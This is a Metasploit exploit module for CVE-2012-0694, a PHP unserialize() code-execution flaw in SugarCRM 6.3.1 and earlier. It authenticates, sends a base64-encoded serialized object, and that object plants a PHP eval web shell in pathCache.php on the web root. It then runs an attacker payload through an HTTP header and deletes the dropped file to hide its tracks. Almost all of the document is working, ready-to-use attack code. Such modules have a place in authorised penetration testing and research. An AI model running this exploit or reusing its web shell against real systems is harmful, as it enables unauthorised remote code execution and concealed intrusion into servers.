`##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'SugarCRM <= 6.3.1 unserialize() PHP Code Execution',
'Description' => %q{
This module exploits a php unserialize() vulnerability in SugarCRM <= 6.3.1
which could be abused to allow authenticated SugarCRM users to execute arbitrary
code with the permissions of the webserver.
The dangerous unserialize() exists in the 'include/MVC/View/views/view.list.php'
script, which is called with user controlled data from the 'current_query_by_page'
parameter. The exploit abuses the __destruct() method from the SugarTheme class
to write arbitrary PHP code to a 'pathCache.php' on the web root.
},
'Author' =>
[
'EgiX', # Vulnerability discovery and PoC
'juan vazquez', # Metasploit module
'sinn3r' # Metasploit module
],
'License' => MSF_LICENSE,
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2012-0694' ],
[ 'EDB', '19381' ],
[ 'URL', 'http://www.sugarcrm.com/forums/f22/critical-security-vulnerability-76537/' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'DisableNops' => true,
},
'Targets' => [ ['Automatic', { }], ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jun 23 2012'
))
register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"]),
OptString.new('USERNAME', [true, "The username to authenticate with" ]),
OptString.new('PASSWORD', [true, "The password to authenticate with" ])
], self.class)
end
def on_new_session(client)
if client.type == "meterpreter"
f = "pathCache.php"
client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")
begin
client.fs.file.rm(f)
print_good("#{@peer} - #{f} removed to stay ninja")
rescue
print_error("#{@peer} - Unable to remove #{f}")
end
end
end
def exploit
base = target_uri.path
base << '/' if base[-1, 1] != '/'
@peer = "#{rhost}:#{rport}"
username = datastore['USERNAME']
password = datastore['PASSWORD']
# Can't use vars_post because it'll escape "_"
data = "module=Users&"
data << "action=Authenticate&"
data << "user_name=#{username}&"
data << "user_password=#{password}"
res = send_request_cgi(
{
'uri' => "#{base}index.php" ,
'method' => "POST",
'headers' =>
{
'Cookie' => "PHPSESSID=1",
},
'data' => data
})
if not res or res.headers['Location'] =~ /action=Login/ or not res.headers['Set-Cookie']
print_error("#{@peer} - Login failed with \"#{username}:#{password}\"")
return
end
if res.headers['Set-Cookie'] =~ /PHPSESSID=([A-Za-z0-9]*); path/
session_id = $1
else
print_error("#{@peer} - Login failed with \"#{username}:#{password}\" (No session ID)")
return
end
print_status("#{@peer} - Login successful with #{username}:#{password}")
data = "module=Contacts&"
data << "Contacts2_CONTACT_offset=1&"
data << "current_query_by_page="
#O:10:"SugarTheme":2:{s:10:"*dirName";s:5:"../..";s:20:"SugarTheme_jsCache";s:49:"<?php eval(base64_decode($_SERVER[HTTP_CMD])); ?>";}
data << "TzoxMDoiU3VnYXJUaGVtZSI6Mjp7czoxMDoiACoAZGlyTmFtZSI7czo1OiIuLi8uLiI7czoyMDoiAFN1Z2FyVGhlbWUAX2pzQ2FjaGUiO3M6NDk6Ijw/cGhwIGV2YWwoYmFzZTY0X2RlY29kZSgkX1NFUlZFUltIVFRQX0NNRF0pKTsgPz4iO30="
print_status("#{@peer} - Exploiting the unserialize()")
res = send_request_cgi(
{
'uri' => "#{base}index.php",
'method' => 'POST',
'headers' =>
{
'Cookie' => "PHPSESSID=#{session_id};",
},
'data' => data
})
if not res or res.code != 200
print_error("#{@peer} - Exploit failed: #{res.code}")
return
end
print_status("#{@peer} - Executing the payload")
res = send_request_cgi(
{
'method' => 'GET',
'uri' => "#{base}pathCache.php",
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded)
}
})
if res
print_error("#{@peer} - Payload execution failed: #{res.code}")
return
end
end
end
`